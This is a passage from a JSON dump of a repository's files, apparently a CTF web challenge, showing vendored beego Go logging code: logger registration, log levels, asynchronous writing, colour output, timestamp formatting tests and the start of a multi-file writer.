resp.StatusCode)\n\t}\n\treturn nil\n}\n\n// Flush implementing method. empty.\nfunc (s *JLWriter) Flush() {\n}\n\n// Destroy implementing method. empty.\nfunc (s *JLWriter) Destroy() {\n}\n\nfunc init() {\n\tRegister(AdapterJianLiao, newJLWriter)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/log.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package logs provide a general log interface\n// Usage:\n//\n// import \"github.com/astaxie/beego/logs\"\n//\n//\tlog := NewLogger(10000)\n//\tlog.SetLogger(\"console\", \"\")\n//\n//\t> the first params stand for how many channel\n//\n// Use it like this:\n//\n//\tlog.Trace(\"trace\")\n//\tlog.Info(\"info\")\n//\tlog.Warn(\"warning\")\n//\tlog.Debug(\"debug\")\n//\tlog.Critical(\"critical\")\n//\n//  more docs http://beego.me/docs/module/logs.md\npackage logs\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"path\"\n\t\"runtime\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n)\n\n// RFC5424 log message levels.\nconst (\n\tLevelEmergency = iota\n\tLevelAlert\n\tLevelCritical\n\tLevelError\n\tLevelWarning\n\tLevelNotice\n\tLevelInformational\n\tLevelDebug\n)\n\n// levelLogLogger is defined to implement log.Logger\n// the real log level will be LevelEmergency\nconst levelLoggerImpl = -1\n\n// Name for adapter with beego official support\nconst (\n\tAdapterConsole   = \"console\"\n\tAdapterFile      = \"file\"\n\tAdapterMultiFile = \"multifile\"\n\tAdapterMail      = \"smtp\"\n\tAdapterConn      = \"conn\"\n\tAdapterEs        = \"es\"\n\tAdapterJianLiao  = \"jianliao\"\n\tAdapterSlack     = \"slack\"\n\tAdapterAliLS     = \"alils\"\n)\n\n// Legacy log level constants to ensure backwards compatibility.\nconst (\n\tLevelInfo  = LevelInformational\n\tLevelTrace = LevelDebug\n\tLevelWarn  = LevelWarning\n)\n\ntype newLoggerFunc func() Logger\n\n// Logger defines the behavior of a log provider.\ntype Logger interface {\n\tInit(config string) error\n\tWriteMsg(when time.Time, msg string, level int) error\n\tDestroy()\n\tFlush()\n}\n\nvar adapters = make(map[string]newLoggerFunc)\nvar levelPrefix = [LevelDebug + 1]string{\"[M] \", \"[A] \", \"[C] \", \"[E] \", \"[W] \", \"[N] \", \"[I] \", \"[D] \"}\n\n// Register makes a log provide available by the provided name.\n// If Register is called twice with the same name or if driver is nil,\n// it panics.\nfunc Register(name string, log newLoggerFunc) {\n\tif log == nil {\n\t\tpanic(\"logs: Register provide is nil\")\n\t}\n\tif _, dup := adapters[name]; dup {\n\t\tpanic(\"logs: Register called twice for provider \" + name)\n\t}\n\tadapters[name] = log\n}\n\n// BeeLogger is default logger in beego application.\n// it can contain several providers and log message into all providers.\ntype BeeLogger struct {\n\tlock                sync.Mutex\n\tlevel               int\n\tinit                bool\n\tenableFuncCallDepth bool\n\tloggerFuncCallDepth int\n\tasynchronous        bool\n\tmsgChanLen          int64\n\tmsgChan             chan *logMsg\n\tsignalChan          chan string\n\twg                  sync.WaitGroup\n\toutputs             []*nameLogger\n}\n\nconst defaultAsyncMsgLen = 1e3\n\ntype nameLogger struct {\n\tLogger\n\tname string\n}\n\ntype logMsg struct {\n\tlevel int\n\tmsg   string\n\twhen  time.Time\n}\n\nvar logMsgPool *sync.Pool\n\n// NewLogger returns a new BeeLogger.\n// channelLen means the number of messages in chan(used where asynchronous is true).\n// if the buffering chan is full, logger adapters write to file or other way.\nfunc NewLogger(channelLens ...int64) *BeeLogger {\n\tbl := new(BeeLogger)\n\tbl.level = LevelDebug\n\tbl.loggerFuncCallDepth = 2\n\tbl.msgChanLen = append(channelLens, 0)[0]\n\tif bl.msgChanLen <= 0 {\n\t\tbl.msgChanLen = defaultAsyncMsgLen\n\t}\n\tbl.signalChan = make(chan string, 1)\n\tbl.setLogger(AdapterConsole)\n\treturn bl\n}\n\n// Async set the log to asynchronous and start the goroutine\nfunc (bl *BeeLogger) Async(msgLen ...int64) *BeeLogger {\n\tbl.lock.Lock()\n\tdefer bl.lock.Unlock()\n\tif bl.asynchronous {\n\t\treturn bl\n\t}\n\tbl.asynchronous = true\n\tif len(msgLen) > 0 && msgLen[0] > 0 {\n\t\tbl.msgChanLen = msgLen[0]\n\t}\n\tbl.msgChan = make(chan *logMsg, bl.msgChanLen)\n\tlogMsgPool = &sync.Pool{\n\t\tNew: func() interface{} {\n\t\t\treturn &logMsg{}\n\t\t},\n\t}\n\tbl.wg.Add(1)\n\tgo bl.startLogger()\n\treturn bl\n}\n\n// SetLogger provides a given logger adapter into BeeLogger with config string.\n// config need to be correct JSON as string: {\"interval\":360}.\nfunc (bl *BeeLogger) setLogger(adapterName string, configs ...string) error {\n\tconfig := append(configs, \"{}\")[0]\n\tfor _, l := range bl.outputs {\n\t\tif l.name == adapterName {\n\t\t\treturn fmt.Errorf(\"logs: duplicate adaptername %q (you have set this logger before)\", adapterName)\n\t\t}\n\t}\n\n\tlog, ok := adapters[adapterName]\n\tif !ok {\n\t\treturn fmt.Errorf(\"logs: unknown adaptername %q (forgotten Register?)\", adapterName)\n\t}\n\n\tlg := log()\n\terr := lg.Init(config)\n\tif err != nil {\n\t\tfmt.Fprintln(os.Stderr, \"logs.BeeLogger.SetLogger: \"+err.Error())\n\t\treturn err\n\t}\n\tbl.outputs = append(bl.outputs, &nameLogger{name: adapterName, Logger: lg})\n\treturn nil\n}\n\n// SetLogger provides a given logger adapter into BeeLogger with config string.\n// config need to be correct JSON as string: {\"interval\":360}.\nfunc (bl *BeeLogger) SetLogger(adapterName string, configs ...string) error {\n\tbl.lock.Lock()\n\tdefer bl.lock.Unlock()\n\tif !bl.init {\n\t\tbl.outputs = []*nameLogger{}\n\t\tbl.init = true\n\t}\n\treturn bl.setLogger(adapterName, configs...)\n}\n\n// DelLogger remove a logger adapter in BeeLogger.\nfunc (bl *BeeLogger) DelLogger(adapterName string) error {\n\tbl.lock.Lock()\n\tdefer bl.lock.Unlock()\n\toutputs := []*nameLogger{}\n\tfor _, lg := range bl.outputs {\n\t\tif lg.name == adapterName {\n\t\t\tlg.Destroy()\n\t\t} else {\n\t\t\toutputs = append(outputs, lg)\n\t\t}\n\t}\n\tif len(outputs) == len(bl.outputs) {\n\t\treturn fmt.Errorf(\"logs: unknown adaptername %q (forgotten Register?)\", adapterName)\n\t}\n\tbl.outputs = outputs\n\treturn nil\n}\n\nfunc (bl *BeeLogger) writeToLoggers(when time.Time, msg string, level int) {\n\tfor _, l := range bl.outputs {\n\t\terr := l.WriteMsg(when, msg, level)\n\t\tif err != nil {\n\t\t\tfmt.Fprintf(os.Stderr, \"unable to WriteMsg to adapter:%v,error:%v\\n\", l.name, err)\n\t\t}\n\t}\n}\n\nfunc (bl *BeeLogger) Write(p []byte) (n int, err error) {\n\tif len(p) == 0 {\n\t\treturn 0, nil\n\t}\n\t// writeMsg will always add a '\\n' character\n\tif p[len(p)-1] == '\\n' {\n\t\tp = p[0 : len(p)-1]\n\t}\n\t// set levelLoggerImpl to ensure all log message will be write out\n\terr = bl.writeMsg(levelLoggerImpl, string(p))\n\tif err == nil {\n\t\treturn len(p), err\n\t}\n\treturn 0, err\n}\n\nfunc (bl *BeeLogger) writeMsg(logLevel int, msg string, v ...interface{}) error {\n\tif !bl.init {\n\t\tbl.lock.Lock()\n\t\tbl.setLogger(AdapterConsole)\n\t\tbl.lock.Unlock()\n\t}\n\n\tif len(v) > 0 {\n\t\tmsg = fmt.Sprintf(msg, v...)\n\t}\n\twhen := time.Now()\n\tif bl.enableFuncCallDepth {\n\t\t_, file, line, ok := runtime.Caller(bl.loggerFuncCallDepth)\n\t\tif !ok {\n\t\t\tfile = \"???\"\n\t\t\tline = 0\n\t\t}\n\t\t_, filename := path.Split(file)\n\t\tmsg = \"[\" + filename + \":\" + strconv.Itoa(line) + \"] \" + msg\n\t}\n\n\t//set level info in front of filename info\n\tif logLevel == levelLoggerImpl {\n\t\t// set to emergency to ensure all log will be print out correctly\n\t\tlogLevel = LevelEmergency\n\t} else {\n\t\tmsg = levelPrefix[logLevel] + msg\n\t}\n\n\tif bl.asynchronous {\n\t\tlm := logMsgPool.Get().(*logMsg)\n\t\tlm.level = logLevel\n\t\tlm.msg = msg\n\t\tlm.when = when\n\t\tbl.msgChan <- lm\n\t} else {\n\t\tbl.writeToLoggers(when, msg, logLevel)\n\t}\n\treturn nil\n}\n\n// SetLevel Set log message level.\n// If message level (such as LevelDebug) is higher than logger level (such as LevelWarning),\n// log providers will not even be sent the message.\nfunc (bl *BeeLogger) SetLevel(l int) {\n\tbl.level = l\n}\n\n// SetLogFuncCallDepth set log funcCallDepth\nfunc (bl *BeeLogger) SetLogFuncCallDepth(d int) {\n\tbl.loggerFuncCallDepth = d\n}\n\n// GetLogFuncCallDepth return log funcCallDepth for wrapper\nfunc (bl *BeeLogger) GetLogFuncCallDepth() int {\n\treturn bl.loggerFuncCallDepth\n}\n\n// EnableFuncCallDepth enable log funcCallDepth\nfunc (bl *BeeLogger) EnableFuncCallDepth(b bool) {\n\tbl.enableFuncCallDepth = b\n}\n\n// start logger chan reading.\n// when chan is not empty, write logs.\nfunc (bl *BeeLogger) startLogger() {\n\tgameOver := false\n\tfor {\n\t\tselect {\n\t\tcase bm := <-bl.msgChan:\n\t\t\tbl.writeToLoggers(bm.when, bm.msg, bm.level)\n\t\t\tlogMsgPool.Put(bm)\n\t\tcase sg := <-bl.signalChan:\n\t\t\t// Now should only send \"flush\" or \"close\" to bl.signalChan\n\t\t\tbl.flush()\n\t\t\tif sg == \"close\" {\n\t\t\t\tfor _, l := range bl.outputs {\n\t\t\t\t\tl.Destroy()\n\t\t\t\t}\n\t\t\t\tbl.outputs = nil\n\t\t\t\tgameOver = true\n\t\t\t}\n\t\t\tbl.wg.Done()\n\t\t}\n\t\tif gameOver {\n\t\t\tbreak\n\t\t}\n\t}\n}\n\n// Emergency Log EMERGENCY level message.\nfunc (bl *BeeLogger) Emergency(format string, v ...interface{}) {\n\tif LevelEmergency > bl.level {\n\t\treturn\n\t}\n\tbl.writeMsg(LevelEmergency, format, v...)\n}\n\n// Alert Log ALERT level message.\nfunc (bl *BeeLogger) Alert(format string, v ...interface{}) {\n\tif LevelAlert > bl.level {\n\t\treturn\n\t}\n\tbl.writeMsg(LevelAlert, format, v...)\n}\n\n// Critical Log CRITICAL level message.\nfunc (bl *BeeLogger) Critical(format string, v ...interface{}) {\n\tif LevelCritical > bl.level {\n\t\treturn\n\t}\n\tbl.writeMsg(LevelCritical, format, v...)\n}\n\n// Error Log ERROR level message.\nfunc (bl *BeeLogger) Error(format string, v ...interface{}) {\n\tif LevelError > bl.level {\n\t\treturn\n\t}\n\tbl.writeMsg(LevelError, format, v...)\n}\n\n// Warning Log WARNING level message.\nfunc (bl *BeeLogger) Warning(format string, v ...interface{}) {\n\tif LevelWarn > bl.level {\n\t\treturn\n\t}\n\tbl.writeMsg(LevelWarn, format, v...)\n}\n\n// Notice Log NOTICE level message.\nfunc (bl *BeeLogger) Notice(format string, v ...interface{}) {\n\tif LevelNotice > bl.level {\n\t\treturn\n\t}\n\tbl.writeMsg(LevelNotice, format, v...)\n}\n\n// Informational Log INFORMATIONAL level message.\nfunc (bl *BeeLogger) Informational(format string, v ...interface{}) {\n\tif LevelInfo > bl.level {\n\t\treturn\n\t}\n\tbl.writeMsg(LevelInfo, format, v...)\n}\n\n// Debug Log DEBUG level message.\nfunc (bl *BeeLogger) Debug(format string, v ...interface{}) {\n\tif LevelDebug > bl.level {\n\t\treturn\n\t}\n\tbl.writeMsg(LevelDebug, format, v...)\n}\n\n// Warn Log WARN level message.\n// compatibility alias for Warning()\nfunc (bl *BeeLogger) Warn(format string, v ...interface{}) {\n\tif LevelWarn > bl.level {\n\t\treturn\n\t}\n\tbl.writeMsg(LevelWarn, format, v...)\n}\n\n// Info Log INFO level message.\n// compatibility alias for Informational()\nfunc (bl *BeeLogger) Info(format string, v ...interface{}) {\n\tif LevelInfo > bl.level {\n\t\treturn\n\t}\n\tbl.writeMsg(LevelInfo, format, v...)\n}\n\n// Trace Log TRACE level message.\n// compatibility alias for Debug()\nfunc (bl *BeeLogger) Trace(format string, v ...interface{}) {\n\tif LevelDebug > bl.level {\n\t\treturn\n\t}\n\tbl.writeMsg(LevelDebug, format, v...)\n}\n\n// Flush flush all chan data.\nfunc (bl *BeeLogger) Flush() {\n\tif bl.asynchronous {\n\t\tbl.signalChan <- \"flush\"\n\t\tbl.wg.Wait()\n\t\tbl.wg.Add(1)\n\t\treturn\n\t}\n\tbl.flush()\n}\n\n// Close close logger, flush all chan data and destroy all adapters in BeeLogger.\nfunc (bl *BeeLogger) Close() {\n\tif bl.asynchronous {\n\t\tbl.signalChan <- \"close\"\n\t\tbl.wg.Wait()\n\t\tclose(bl.msgChan)\n\t} else {\n\t\tbl.flush()\n\t\tfor _, l := range bl.outputs {\n\t\t\tl.Destroy()\n\t\t}\n\t\tbl.outputs = nil\n\t}\n\tclose(bl.signalChan)\n}\n\n// Reset close all outputs, and set bl.outputs to nil\nfunc (bl *BeeLogger) Reset() {\n\tbl.Flush()\n\tfor _, l := range bl.outputs {\n\t\tl.Destroy()\n\t}\n\tbl.outputs = nil\n}\n\nfunc (bl *BeeLogger) flush() {\n\tif bl.asynchronous {\n\t\tfor {\n\t\t\tif len(bl.msgChan) > 0 {\n\t\t\t\tbm := <-bl.msgChan\n\t\t\t\tbl.writeToLoggers(bm.when, bm.msg, bm.level)\n\t\t\t\tlogMsgPool.Put(bm)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t}\n\tfor _, l := range bl.outputs {\n\t\tl.Flush()\n\t}\n}\n\n// beeLogger references the used application logger.\nvar beeLogger = NewLogger()\n\n// GetBeeLogger returns the default BeeLogger\nfunc GetBeeLogger() *BeeLogger {\n\treturn beeLogger\n}\n\nvar beeLoggerMap = struct {\n\tsync.RWMutex\n\tlogs map[string]*log.Logger\n}{\n\tlogs: map[string]*log.Logger{},\n}\n\n// GetLogger returns the default BeeLogger\nfunc GetLogger(prefixes ...string) *log.Logger {\n\tprefix := append(prefixes, \"\")[0]\n\tif prefix != \"\" {\n\t\tprefix = fmt.Sprintf(`[%s] `, strings.ToUpper(prefix))\n\t}\n\tbeeLoggerMap.RLock()\n\tl, ok := beeLoggerMap.logs[prefix]\n\tif ok {\n\t\tbeeLoggerMap.RUnlock()\n\t\treturn l\n\t}\n\tbeeLoggerMap.RUnlock()\n\tbeeLoggerMap.Lock()\n\tdefer beeLoggerMap.Unlock()\n\tl, ok = beeLoggerMap.logs[prefix]\n\tif !ok {\n\t\tl = log.New(beeLogger, prefix, 0)\n\t\tbeeLoggerMap.logs[prefix] = l\n\t}\n\treturn l\n}\n\n// Reset will remove all the adapter\nfunc Reset() {\n\tbeeLogger.Reset()\n}\n\n// Async set the beelogger with Async mode and hold msglen messages\nfunc Async(msgLen ...int64) *BeeLogger {\n\treturn beeLogger.Async(msgLen...)\n}\n\n// SetLevel sets the global log level used by the simple logger.\nfunc SetLevel(l int) {\n\tbeeLogger.SetLevel(l)\n}\n\n// EnableFuncCallDepth enable log funcCallDepth\nfunc EnableFuncCallDepth(b bool) {\n\tbeeLogger.enableFuncCallDepth = b\n}\n\n// SetLogFuncCall set the CallDepth, default is 4\nfunc SetLogFuncCall(b bool) {\n\tbeeLogger.EnableFuncCallDepth(b)\n\tbeeLogger.SetLogFuncCallDepth(4)\n}\n\n// SetLogFuncCallDepth set log funcCallDepth\nfunc SetLogFuncCallDepth(d int) {\n\tbeeLogger.loggerFuncCallDepth = d\n}\n\n// SetLogger sets a new logger.\nfunc SetLogger(adapter string, config ...string) error {\n\treturn beeLogger.SetLogger(adapter, config...)\n}\n\n// Emergency logs a message at emergency level.\nfunc Emergency(f interface{}, v ...interface{}) {\n\tbeeLogger.Emergency(formatLog(f, v...))\n}\n\n// Alert logs a message at alert level.\nfunc Alert(f interface{}, v ...interface{}) {\n\tbeeLogger.Alert(formatLog(f, v...))\n}\n\n// Critical logs a message at critical level.\nfunc Critical(f interface{}, v ...interface{}) {\n\tbeeLogger.Critical(formatLog(f, v...))\n}\n\n// Error logs a message at error level.\nfunc Error(f interface{}, v ...interface{}) {\n\tbeeLogger.Error(formatLog(f, v...))\n}\n\n// Warning logs a message at warning level.\nfunc Warning(f interface{}, v ...interface{}) {\n\tbeeLogger.Warn(formatLog(f, v...))\n}\n\n// Warn compatibility alias for Warning()\nfunc Warn(f interface{}, v ...interface{}) {\n\tbeeLogger.Warn(formatLog(f, v...))\n}\n\n// Notice logs a message at notice level.\nfunc Notice(f interface{}, v ...interface{}) {\n\tbeeLogger.Notice(formatLog(f, v...))\n}\n\n// Informational logs a message at info level.\nfunc Informational(f interface{}, v ...interface{}) {\n\tbeeLogger.Info(formatLog(f, v...))\n}\n\n// Info compatibility alias for Warning()\nfunc Info(f interface{}, v ...interface{}) {\n\tbeeLogger.Info(formatLog(f, v...))\n}\n\n// Debug logs a message at debug level.\nfunc Debug(f interface{}, v ...interface{}) {\n\tbeeLogger.Debug(formatLog(f, v...))\n}\n\n// Trace logs a message at trace level.\n// compatibility alias for Warning()\nfunc Trace(f interface{}, v ...interface{}) {\n\tbeeLogger.Trace(formatLog(f, v...))\n}\n\nfunc formatLog(f interface{}, v ...interface{}) string {\n\tvar msg string\n\tswitch f.(type) {\n\tcase string:\n\t\tmsg = f.(string)\n\t\tif len(v) == 0 {\n\t\t\treturn msg\n\t\t}\n\t\tif strings.Contains(msg, \"%\") && !strings.Contains(msg, \"%%\") {\n\t\t\t//format string\n\t\t} else {\n\t\t\t//do not contain format char\n\t\t\tmsg += strings.Repeat(\" %v\", len(v))\n\t\t}\n\tdefault:\n\t\tmsg = fmt.Sprint(f)\n\t\tif len(v) == 0 {\n\t\t\treturn msg\n\t\t}\n\t\tmsg += strings.Repeat(\" %v\", len(v))\n\t}\n\treturn fmt.Sprintf(msg, v...)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/logger.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage logs\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"sync\"\n\t\"time\"\n)\n\ntype logWriter struct {\n\tsync.Mutex\n\twriter io.Writer\n}\n\nfunc newLogWriter(wr io.Writer) *logWriter {\n\treturn &logWriter{writer: wr}\n}\n\nfunc (lg *logWriter) println(when time.Time, msg string) {\n\tlg.Lock()\n\th, _ := formatTimeHeader(when)\n\tlg.writer.Write(append(append(h, msg...), '\\n'))\n\tlg.Unlock()\n}\n\ntype outputMode int\n\n// DiscardNonColorEscSeq supports the divided color escape sequence.\n// But non-color escape sequence is not output.\n// Please use the OutputNonColorEscSeq If you want to output a non-color\n// escape sequences such as ncurses. However, it does not support the divided\n// color escape sequence.\nconst (\n\t_ outputMode = iota\n\tDiscardNonColorEscSeq\n\tOutputNonColorEscSeq\n)\n\n// NewAnsiColorWriter creates and initializes a new ansiColorWriter\n// using io.Writer w as its initial contents.\n// In the console of Windows, which change the foreground and background\n// colors of the text by the escape sequence.\n// In the console of other systems, which writes to w all text.\nfunc NewAnsiColorWriter(w io.Writer) io.Writer {\n\treturn NewModeAnsiColorWriter(w, DiscardNonColorEscSeq)\n}\n\n// NewModeAnsiColorWriter create and initializes a new ansiColorWriter\n// by specifying the outputMode.\nfunc NewModeAnsiColorWriter(w io.Writer, mode outputMode) io.Writer {\n\tif _, ok := w.(*ansiColorWriter); !ok {\n\t\treturn &ansiColorWriter{\n\t\t\tw:    w,\n\t\t\tmode: mode,\n\t\t}\n\t}\n\treturn w\n}\n\nconst (\n\ty1  = `0123456789`\n\ty2  = `0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789`\n\ty3  = `0000000000111111111122222222223333333333444444444455555555556666666666777777777788888888889999999999`\n\ty4  = `0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789`\n\tmo1 = `000000000111`\n\tmo2 = `123456789012`\n\td1  = `0000000001111111111222222222233`\n\td2  = `1234567890123456789012345678901`\n\th1  = `000000000011111111112222`\n\th2  = `012345678901234567890123`\n\tmi1 = `000000000011111111112222222222333333333344444444445555555555`\n\tmi2 = `012345678901234567890123456789012345678901234567890123456789`\n\ts1  = `000000000011111111112222222222333333333344444444445555555555`\n\ts2  = `012345678901234567890123456789012345678901234567890123456789`\n\tns1 = `0123456789`\n)\n\nfunc formatTimeHeader(when time.Time) ([]byte, int) {\n\ty, mo, d := when.Date()\n\th, mi, s := when.Clock()\n\tns := when.Nanosecond()/1000000\n\t//len(\"2006/01/02 15:04:05.123 \")==24\n\tvar buf [24]byte\n\n\tbuf[0] = y1[y/1000%10]\n\tbuf[1] = y2[y/100]\n\tbuf[2] = y3[y-y/100*100]\n\tbuf[3] = y4[y-y/100*100]\n\tbuf[4] = '/'\n\tbuf[5] = mo1[mo-1]\n\tbuf[6] = mo2[mo-1]\n\tbuf[7] = '/'\n\tbuf[8] = d1[d-1]\n\tbuf[9] = d2[d-1]\n\tbuf[10] = ' '\n\tbuf[11] = h1[h]\n\tbuf[12] = h2[h]\n\tbuf[13] = ':'\n\tbuf[14] = mi1[mi]\n\tbuf[15] = mi2[mi]\n\tbuf[16] = ':'\n\tbuf[17] = s1[s]\n\tbuf[18] = s2[s]\n\tbuf[19] = '.'\n\tbuf[20] = ns1[ns/100]\n\tbuf[21] = ns1[ns%100/10]\n\tbuf[22] = ns1[ns%10]\n\n\tbuf[23] = ' '\n\n\treturn buf[0:], d\n}\n\nvar (\n\tgreen   = string([]byte{27, 91, 57, 55, 59, 52, 50, 109})\n\twhite   = string([]byte{27, 91, 57, 48, 59, 52, 55, 109})\n\tyellow  = string([]byte{27, 91, 57, 55, 59, 52, 51, 109})\n\tred     = string([]byte{27, 91, 57, 55, 59, 52, 49, 109})\n\tblue    = string([]byte{27, 91, 57, 55, 59, 52, 52, 109})\n\tmagenta = string([]byte{27, 91, 57, 55, 59, 52, 53, 109})\n\tcyan    = string([]byte{27, 91, 57, 55, 59, 52, 54, 109})\n\n\tw32Green   = string([]byte{27, 91, 52, 50, 109})\n\tw32White   = string([]byte{27, 91, 52, 55, 109})\n\tw32Yellow  = string([]byte{27, 91, 52, 51, 109})\n\tw32Red     = string([]byte{27, 91, 52, 49, 109})\n\tw32Blue    = string([]byte{27, 91, 52, 52, 109})\n\tw32Magenta = string([]byte{27, 91, 52, 53, 109})\n\tw32Cyan    = string([]byte{27, 91, 52, 54, 109})\n\n\treset = string([]byte{27, 91, 48, 109})\n)\n\n// ColorByStatus return color by http code\n// 2xx return Green\n// 3xx return White\n// 4xx return Yellow\n// 5xx return Red\nfunc ColorByStatus(cond bool, code int) string {\n\tswitch {\n\tcase code >= 200 && code < 300:\n\t\treturn map[bool]string{true: green, false: w32Green}[cond]\n\tcase code >= 300 && code < 400:\n\t\treturn map[bool]string{true: white, false: w32White}[cond]\n\tcase code >= 400 && code < 500:\n\t\treturn map[bool]string{true: yellow, false: w32Yellow}[cond]\n\tdefault:\n\t\treturn map[bool]string{true: red, false: w32Red}[cond]\n\t}\n}\n\n// ColorByMethod return color by http code\n// GET return Blue\n// POST return Cyan\n// PUT return Yellow\n// DELETE return Red\n// PATCH return Green\n// HEAD return Magenta\n// OPTIONS return WHITE\nfunc ColorByMethod(cond bool, method string) string {\n\tswitch method {\n\tcase \"GET\":\n\t\treturn map[bool]string{true: blue, false: w32Blue}[cond]\n\tcase \"POST\":\n\t\treturn map[bool]string{true: cyan, false: w32Cyan}[cond]\n\tcase \"PUT\":\n\t\treturn map[bool]string{true: yellow, false: w32Yellow}[cond]\n\tcase \"DELETE\":\n\t\treturn map[bool]string{true: red, false: w32Red}[cond]\n\tcase \"PATCH\":\n\t\treturn map[bool]string{true: green, false: w32Green}[cond]\n\tcase \"HEAD\":\n\t\treturn map[bool]string{true: magenta, false: w32Magenta}[cond]\n\tcase \"OPTIONS\":\n\t\treturn map[bool]string{true: white, false: w32White}[cond]\n\tdefault:\n\t\treturn reset\n\t}\n}\n\n// Guard Mutex to guarantee atomic of W32Debug(string) function\nvar mu sync.Mutex\n\n// W32Debug Helper method to output colored logs in Windows terminals\nfunc W32Debug(msg string) {\n\tmu.Lock()\n\tdefer mu.Unlock()\n\n\tcurrent := time.Now()\n\tw := NewAnsiColorWriter(os.Stdout)\n\n\tfmt.Fprintf(w, \"[beego] %v %s\\n\", current.Format(\"2006/01/02 - 15:04:05\"), msg)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/logger_test.go",
    "content": "// Copyright 2016 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage logs\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestFormatHeader_0(t *testing.T) {\n\ttm := time.Now()\n\tif tm.Year() >= 2100 {\n\t\tt.FailNow()\n\t}\n\tdur := time.Second\n\tfor {\n\t\tif tm.Year() >= 2100 {\n\t\t\tbreak\n\t\t}\n\t\th, _ := formatTimeHeader(tm)\n\t\tif tm.Format(\"2006/01/02 15:04:05.999 \") != string(h) {\n\t\t\tt.Log(tm)\n\t\t\tt.FailNow()\n\t\t}\n\t\ttm = tm.Add(dur)\n\t\tdur *= 2\n\t}\n}\n\nfunc TestFormatHeader_1(t *testing.T) {\n\ttm := time.Now()\n\tyear := tm.Year()\n\tdur := time.Second\n\tfor {\n\t\tif tm.Year() >= year+1 {\n\t\t\tbreak\n\t\t}\n\t\th, _ := formatTimeHeader(tm)\n\t\tif tm.Format(\"2006/01/02 15:04:05.999 \") != string(h) {\n\t\t\tt.Log(tm)\n\t\t\tt.FailNow()\n\t\t}\n\t\ttm = tm.Add(dur)\n\t}\n}\n\nfunc TestNewAnsiColor1(t *testing.T) {\n\tinner := bytes.NewBufferString(\"\")\n\tw := NewAnsiColorWriter(inner)\n\tif w == inner {\n\t\tt.Errorf(\"Get %#v, want %#v\", w, inner)\n\t}\n}\n\nfunc TestNewAnsiColor2(t *testing.T) {\n\tinner := bytes.NewBufferString(\"\")\n\tw1 := NewAnsiColorWriter(inner)\n\tw2 := NewAnsiColorWriter(w1)\n\tif w1 != w2 {\n\t\tt.Errorf(\"Get %#v, want %#v\", w1, w2)\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/multifile.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage logs\n\nimport (\n\t\"encoding/json\"\n\t\"time\"\n)\n\n// A filesLogWriter manages several fileLogWriter\n// filesLogWriter will write logs to the file in json configuration  and write the same level log to correspond file\n// means if the file name in configuration is project.log filesLogWriter will create project.error.log/project.debug.log\n// and write the error-level logs to project.error.log and write the debug-level logs to project.debug.log\n// the rotate attribute also  acts like fileLogWriter\ntype multiFileLogWriter struct {\n\twriters       [LevelDebug + 1 + 1]*fileLogWriter // the last one for fullLogWriter\n\tfullLogWriter *fileLogWriter\n\tSeparate      []string `json:\"separate\"`\n}\n\nvar levelNames = [...]string{\"emergency\", \"alert\", \"critical\", \"error\", \"warning\", \"notice\", \"info\", \"debug\"}\n\n// Init file logger with json config.\n// jsonConfig like:\n//\t{\n//\t\"filename\":\"logs/beego.log\",\n//\t\"maxLines\":0,\n//\t\"maxsize\":0,\n//\t\"daily\":true,\n//\t\"maxDays\":15,\n//\t\"rotate\":true,\n//  \t\"perm\":0600,\n//\t\"separate\":[\"emergency\", \"alert\", \"critical\", \"error\", \"warning\", \"notice\", \"info\", \"debug\"],\n//\t}\n\nfunc (f *multiFileLogWriter) Init(config string) error {\n\twriter := newFileWriter().(*fileLogWriter)\n\terr := writer.Init(config)\n\tif err != nil {\n\t\treturn err\n\t}\n\tf.fullLogWriter = writer\n\tf.writers[LevelDebug+1] = writer\n\n\t//unmarshal \"separate\" field to f.Separate\n\tjson.Unmarshal([]byte(config), f)\n\n\tjsonMap := 